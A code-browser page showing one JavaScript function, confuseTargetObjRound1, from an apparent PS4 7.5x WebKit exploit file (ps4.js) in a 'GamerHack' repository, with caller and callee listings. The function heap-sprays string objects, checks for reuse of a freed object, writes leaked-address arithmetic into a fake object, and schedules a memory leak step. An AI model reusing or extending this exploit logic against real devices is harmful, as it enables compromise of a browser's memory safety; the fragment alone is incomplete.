MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / confuseTargetObjRound1

Function confuseTargetObjRound1

restore/75x/ps4.js:297–314  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

295 * and before deleteBubbleTree
296 */
297function confuseTargetObjRound1() {
298 /* Force allocation of StringImpl obj. beyond Timer address */
299 sprayStringImpl(SPRAY_STRINGIMPL, SPRAY_STRINGIMPL * 2);
300
301 /* Checking for leaked data */
302 if (findTargetObj() === false)
303 die("[!] Failed to reuse target obj.");
304
305 dumpTargetObj();
306
307 g_fake_validation_message[4] = g_timer_leak.add(LENGTH_TIMER * 8 + OFFSET_LENGTH_STRINGIMPL + 1 - OFFSET_ELEMENT_REFCOUNT).asDouble();
308
309 /*
310 * The timeout must be > 5s because deleteBubbleTree is scheduled to run in
311 * the next 5s
312 */
313 setTimeout(leakJSC, 6000);
314}
315
316function handle2() {
317 /* focus elsewhere */

Callers

nothing calls this directly

Calls 5

sprayStringImplFunction · 0.70
findTargetObjFunction · 0.70
dieFunction · 0.70
dumpTargetObjFunction · 0.70
addMethod · 0.45

Tested by

no test coverage detected